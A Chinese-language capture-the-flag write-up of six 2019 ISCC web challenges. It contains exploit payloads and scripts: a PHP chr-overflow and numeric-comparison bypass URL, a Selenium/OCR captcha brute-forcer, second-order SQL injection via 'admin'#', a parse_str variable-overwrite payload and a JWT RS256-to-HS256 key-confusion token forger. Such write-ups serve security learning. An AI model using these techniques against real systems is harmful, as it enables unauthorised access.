1. Web 1.1. Web1 1.2. Web2 1.3. Web3 1.4. Web4 1.5. Web5 1.6. Web6 2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…
Web11 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting(0 ); require 'flag.php' ;$value = $_GET['value' ]; $password = $_GET['password' ]; $username = '' ; for ($i = 0 ; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127 ) unset ($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1 ) > 2333 ) { echo 'Hello ' .$username.'!' , '<br>' , PHP_EOL; echo $flag, '<hr>' ; } } highlight_file(__FILE__ );
1 http://39.100 .83 .188 :8001 /?value []=375 &value []=307 &value []=364 &value []=355 &value []=304 &value []=365 &value []=357 &value []=351 &value []=340 &value []=367 &value []=351 &value []=329 &value []=339 &value []=323 &value []=323 &value []=306 &value []=304 &value []=305 &value []=313 &password =2332e1
Web2提示破解3位数字密码,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import pytesseractimport requestsimport timefrom PIL import Imagefrom selenium import webdriver''' 调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。 ''' driver = webdriver.Chrome() driver.get("http://39.100.83.188:8002/" ) driver.add_cookie({ 'domain' : '39.100.83.188:8002' ,'name' : 'PHPSESSID' ,'value' : 'alsrko26h2mlbmkgv54r4gpcf3' ,'path' : '/' ,'expires' : None }) driver.get("http://39.100.83.188:8002/" ) driver.get_screenshot_as_file('./screenshoot.png' ) im = Image.open('./screenshoot.png' ) box = (0 , 200 , 130 , 300 ) region = im.crop(box) region.save("./code.png" ) image = Image.open("./code.png" ) optCode = pytesseract.image_to_string(image) print("验证码:" , optCode) password = '999' driver.find_element_by_name("pwd" ).send_keys(password) driver.find_element_by_name("user_code" ).send_keys(optCode) driver.find_element_by_name("Login" ).click() print(driver)
后来看其他师傅,可以把 cookie 删掉来达到爆破密码
Web3感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册admin'#来更改管理员账号密码的那个题
但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用admin/123456上去拿到 flag
看了其他师傅的wp,可以通过admin'--xx来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…
Web4代码审计题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); include ("flag.php" );$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a' ; $parsed = parse_url($_SERVER['REQUEST_URI' ]); if (isset ($parsed["query" ])){ $query = $parsed["query" ]; $parsed_query = parse_str($query); if ($parsed_query!=NULL ){ $action = $parsed_query['action' ]; } if ($action==="auth" ){ $key = $_GET["key" ]; $hashed_input = hash('sha256' , $key); if ($hashed_input!==$hashed_key){ die ("<img src='cxk.jpg'>" ); } echo $flag; } }else { show_source(__FILE__ ); }?>
又是一个原题,利用pase_str函数的特性:
parse_str ( string $encoded_string [, array &$result ] ) : void
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
传入hashed_key覆盖掉hased_key即可
Payload:
1 action=auth&key=test&hashed_key=9 f86 d081884 c 7 d659 a2 feaa0 c 55 ad015 a3 bf4 f1 b2 b0 b822 cd15 d6 c 15 b0 f00 a08
Web5http://39.100.83.188:8054/
脑洞题…脑洞对不上…
参考2019iscc wp ,考点是注入,过滤了圆括号,注释符,from等等
payload :order by 排序盲注
Web6http://39.100.83.188:8053/
测试发现一些特殊符号被转义
然后发现并没有什么用…
然后发现有 jwt ,但是看了一下并没什么,参考了JSON Web Token (JWT) 攻击技巧 ,试了几种方式,改加密算法为 none 没用,又没有公钥…
然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了
1 2 3 4 5 6 function getpubkey ( ) { }
这个没有用到的函数,还以为公钥是用md5(username+password),结果发现这是个 url …
访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到
1 {"pubkey" :"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----" ,"result" :true }
拿上面那篇先知文章的 exp 出来改一下
1 2 3 4 5 import jwtpublic = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----''' print publicprint jwt.encode({"name" :"zeddy" ,"priv" :"admin" }, key=public, algorithm='HS256' )
这里注意,如果要用这个 exp 必须得用pyjwt==0.4.3,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个jwt/PyJWT都卸了,然后装上面那个就行了。
用这个 jwt 访问/list就可以得到 admin 的 pastebin 了,访问即是 flag